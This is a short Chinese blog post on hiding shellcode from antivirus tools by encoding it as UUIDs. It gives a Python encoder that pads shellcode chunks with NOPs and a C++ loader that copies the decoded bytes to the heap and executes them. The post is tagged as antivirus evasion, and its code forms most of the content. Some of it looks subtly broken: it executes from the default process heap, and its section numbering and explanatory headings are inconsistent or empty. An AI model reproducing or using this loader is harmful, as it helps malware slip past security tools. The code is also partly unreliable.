«

ShellCode加载 - UUID加载

ljierui 发布于 阅读:115 技术杂谈


1、从UUID加载

1.1、什么是UUID

1.2、生成UUID

#include <iostream>
#include <rpc.h> // 包含UUID相关的函数

int main() {
    UUID uuid; // 声明一个UUID类型的变量
    UuidCreate(&uuid); // 生成一个UUID

    RPC_CSTR szUuid = NULL; // 声明一个字符串类型的指针,用于存储UUID的字符串表示
    UuidToStringA(&uuid, &szUuid); // 将UUID转换为字符串

    std::cout << "Generated UUID: " << szUuid << std::endl; // 输出生成的UUID

    RpcStringFreeA(&szUuid); // 释放字符串占用的内存

    return 0;
}

1.3、什么是GUID

3.4、生成GUID

#include <iostream>
#include <objbase.h> // 包含GUID相关的函数

int main() {
    GUID guid; // 声明一个GUID类型的变量
    CoCreateGuid(&guid); // 生成一个GUID

    wchar_t wszGuid[40] = { 0 }; // 用于存储GUID字符串的数组
    StringFromGUID2(guid, wszGuid, 39); // 将GUID转换为字符串

    std::wcout << L"Generated GUID: " << wszGuid << std::endl; // 输出生成的GUID

    return 0;
}

1.5、Python把shellcode转成uuid

import uuid

# 示例shellcode(此处只是随机数据,不是真实shellcode)
shellcode = b''

def shellcode_to_uuids(shellcode):
    uuids = []

    for i in range(0, len(shellcode), 16):
        chunk = shellcode[i:i+16]

        # 如果最后一个块不足16字节,则填充它
        if len(chunk) < 16:
            chunk += b'\x90' * (16 - len(chunk))

        # 将16字节块转换为UUID
        u = uuid.UUID(bytes_le=chunk)
        uuids.append(u)

    return uuids

converted_uuids = shellcode_to_uuids(shellcode)

for u in converted_uuids:
    print(u)

1.6、加载

#include <windows.h>
#include <iostream>
#include <vector>
#include <rpc.h>

UUID uuids[] = {

};

int main() {
    int uuidCount = sizeof(uuids) / sizeof(UUID);
    // 使用HeapAlloc在堆上分配内存
    unsigned char* shellcode_memory = (unsigned char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, uuidCount * 16);
    // 解码UUIDs并将shellcode写入堆上分配的内存
    for (int i = 0; i < uuidCount; i++) {
        memcpy(shellcode_memory + (i * 16), &uuids[i], 16);
    }
    // 执行shellcode
    ((void(*)())shellcode_memory)();
    // 清理
    HeapFree(GetProcessHeap(), 0, shellcode_memory);
    return 0;
}

免杀

推荐阅读: